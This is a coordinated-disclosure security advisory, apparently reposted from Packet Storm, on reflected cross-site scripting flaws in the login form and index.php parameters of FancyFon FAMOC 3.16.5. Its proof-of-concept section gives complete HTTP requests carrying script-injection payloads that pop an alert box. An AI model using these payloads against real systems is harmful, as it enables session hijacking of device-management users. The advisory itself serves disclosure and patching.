FancyFon FAMOC 3.16.5 Cross Site Scripting

2015-01-27T00:00:00
ID PACKETSTORM:130119
Type packetstorm
Reporter Matthias Deeg
Modified 2015-01-27T00:00:00

Description

                                        
                                            `-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512  
  
Advisory ID: SYSS-2014-011  
Product(s): FAMOC  
Vendor: FancyFon  
Affected Version(s): 3.16.5   
Tested Version(s): 3.16.5  
Vulnerability Type: Cross-Site Scripting (CWE-79)  
Risk Level: Medium  
Solution Status: Fixed  
Vendor Notification: 2014-12-19  
Solution Date: 2015-01-23  
Public Disclosure: 2015-01-23  
CVE Reference: Not yet assigned  
Author of Advisory: Matthias Deeg (SySS GmbH)  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Overview:  
  
FAMOC is a mobile device management software by FancyFon supporting  
different kinds of mobile devices.  
  
The vendor FancyFon describes the product as follows (see [1]):  
  
"FAMOC is a flexible and open mobile device lifecycle management   
solution, enabling any number of smartphones using a variety of   
operating systems, to be centrally and remotely managed, over the   
Internet."  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Vulnerability Details:  
  
The SySS GmbH found several reflected cross-site scripting   
vulnerabilities in the web application component of the FAMOC mobile   
device management solution which can be exploited from different   
attacker's perspectives.  
  
1) Reflected Cross-Site Scripting in login form  
  
The parameter "LoginForm[username]" is not sanitized sufficiently  
resulting in a reflected cross-site scripting vulnerability.  
  
This reflected cross-site scripting vulnerability can be exploited in   
the context of an unauthenticated user by sending a specially crafted  
HTTP POST request (see PoC section).  
  
  
2) Reflected Cross-Site Scripting in index.php  
  
The two URL parameters "order" and "myorgs" of the PHP script index.php  
are not sanitized sufficiently resulting in cross-site scripting  
vulnerabilities.  
  
These reflected cross-site scripting vulnerabilities can be exploited  
in the context of an authenticated user by sending a specially crafted  
HTTP GET request (see PoC section).  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Proof of Concept (PoC):  
  
1) Reflected Cross-Site Scripting in login form  
  
The following HTTP POST request using the JavaScript code  
"><script>alert(1)</script><z=" as the value for the parameter   
"LoginForm[username]" demonstrates the reflected cross-site scripting  
vulnerability by showing a JavaScript alert box:  
  
POST /ui/system/login HTTP/1.1  
Host: <HOST>  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 112  
  
LoginForm%5Busername%5D=%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3Cz%3D%22&LoginForm%5Bpassword%5D=password  
  
  
2) Reflected Cross-Site Scripting in index.php  
  
The following HTTP GET requests using the JavaScript code  
'><script>alert(1)</script> as the value for the URL parameter "order" or  
"myorgs" demonstrate the two reflected cross-site scripting vulnerabilities  
by showing a JavaScript alert box.  
  
  
2.1) URL parameter "order"  
  
URL: https://<HOST>/index.php?name=&order=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&page=1&myorgs=0  
  
GET /index.php?name=&order=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E&page=1&myorgs=0 HTTP/1.1  
Host: <HOST>  
Cookie: PHPSESSID=<SESSION_COOKIE>  
  
  
2.2) URL parameter "myorgs"  
  
URL: https://<HOST>/index.php?name=&order=&page=1&myorgs=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E  
  
GET /index.php?name=&order=&page=1&myorgs=%27%3E%3Cscript%3Ealert%281%29%3C/script%3E HTTP/1.1  
Host: <HOST>  
Cookie: PHPSESSID=<SESSION_COOKIE>  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
  
Update to FAMOC software version 3.17.4.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2014-12-19: Vulnerability reported to vendor  
2014-12-19: Vendor acknowledges e-mail with SySS security advisory  
2015-01-16: Contacted vendor for status information about the reported  
vulnerability  
2015-01-23: Vendor responds that this security vulnerability was   
addressed in the FAMOC software version 3.17.4.  
Public release of security advisory  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
References:  
  
[1] Product Web Site for FAMOC Mobile Device Management  
http://www.fancyfon.com/  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Credits:  
  
This security vulnerability was found by Matthias Deeg of the SySS GmbH.  
  
E-Mail: matthias.deeg (at) syss.de  
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc  
Key fingerprint = 5AE3 96EE A014 FB90 9D81 AF90 8C54 7E88 A34C CED8  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"   
and without warranty of any kind. Details of this security advisory may   
be updated in order to provide as accurate information as possible. The  
latest version of this security advisory is available on the SySS Web   
site.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 3.0  
URL: http://creativecommons.org/licenses/by/3.0/deed.en  
  
-----BEGIN PGP SIGNATURE-----  
  
iEUEAREKAAYFAlTCLOEACgkQjFR+iKNMzthezgCYz/oeHWw/qQQmsqXy2EcLB187  
MACgij+QCQ+MoKM6TE0wmVDPuJ9Lfck=  
=sQ8P  
-----END PGP SIGNATURE-----  
`